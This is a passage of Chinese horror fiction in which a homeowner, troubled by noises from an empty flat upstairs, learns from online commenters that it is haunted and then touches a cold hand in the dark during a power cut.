李达利面容扭曲:“你的意思是这些天我听到的声音都是我的幻觉了?”
物业不好明说,只能尴尬地笑笑,半天憋不出一个字。
李达利明白了他的意思,指着他的鼻子大吼:“你们物业不作为,我要投诉你们。”
物业连忙跟着他下楼:“不是这样的,您听我说。”
李达利愤怒地回到自己房子里,用力关上门。
跟上来的物业脸差点被门撞到,惊险后退后耐心敲门。
“李先生,李先生,要不然这样你看怎么样?你买个监控,或者是出现声
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音的时候你用视频录下来,到时候我们也有证据可以帮你了。现在确实是一头雾水,毕竟那上面没住人,我们想联系人也没办法,您说是不是?”
李达利没说话,录音想拿给物业听,又怕确定不了这是楼上发出的,索性下单买了个摄像头。
物业在门口又说了几句,随后接了个电话离开了。
周遭彻底安静下来。
李达利不适应地进入厨房做饭,炒菜声打破了寂静,他松了一口气,感觉再这样下去,自己迟早有一天要疯。
要不是所有积蓄都买了这个房子,他会先搬到别的地方住,等这里的事弄清了再回来。
但李达利想不明白的是那个黑衣男人到底是谁。
他的幻觉?还是有人偷偷在里面住,在他找物业开门之前提前离开处理完痕迹。
李达利想到自己发的帖子,吃饭的时候将心里的疑惑发在帖子里寻求答案。
没想到收到许多条讽刺内容。
“楼主这智商没谁了,怪不得至今还在那里住着。”
“就是……要是我早就跑了,他不仅住着,还理直气壮地认为是物业的问题。”
“快别好奇了,赶紧跑吧,楼主。”
“……”
一眼看下去,没有一个说重点的,全是阴阳怪气。
李达利生气地放下手机,隐约知道他们在说什么,却无法及时反应过来。
他暴躁地咀嚼着饭菜,吃过饭洗过碗,进入浴室洗澡。
仰头洗头发的刹那间,李达利忽然反应过来那些话的意思,浑身一抖,一种不好形容的寒凉传遍全身。
他咬着牙,抹掉脸上的水,拿起放在一旁的手机,就那么站在花洒下打开手机,翻出那帖子。
这次不等他确定,已经有好心人明确说出。
“楼主啊,大家都知道闹鬼,你怎么就看不出呢?是不是年龄不大啊?反正不管怎么说,赶紧跑啊,那房子住不了人。”
水从花洒不停落下,手机被水打湿屏幕,李达利双眼颤抖地盯着那回复,整个人不寒而栗。
是了,这种情况摆明了闹鬼,他却一直没能反应过来。
为什么上面有声音,上去却没有人住,因为闹鬼。
为什么他看到那个人,但第二天过去就找不到了,很有可能那个人就是鬼。
所有一切早就告诉他答案,只是他太过愚蠢。
谁能想到楼上没住人的空房子竟然闹鬼。
“轰隆。”窗外突然电闪雷鸣,吓得李达利身体一抖,手机滑落,重重摔在地上,弹起又摔向远处。
“嗤嗤嗤。”头顶灯光闪烁,骤然熄灭。
停电了。
热水很快变凉,李达利关闭花洒,蹲下身忍着冷意去摸手机。
本该摸到手机的地方是空的,李达利皱眉,小心翼翼在地上挪动着,继续寻找手机。
手指触碰到冰冷的东西,他心下一喜,以为是手机,发现拿不起来。
仔细触碰才发现,那根本不是四四方方的手机,而是细长,带着皮肉才有的柔软弹性感,只是不知为何有些死硬冰冷。
再往上,凸起的骨节……
是一只手!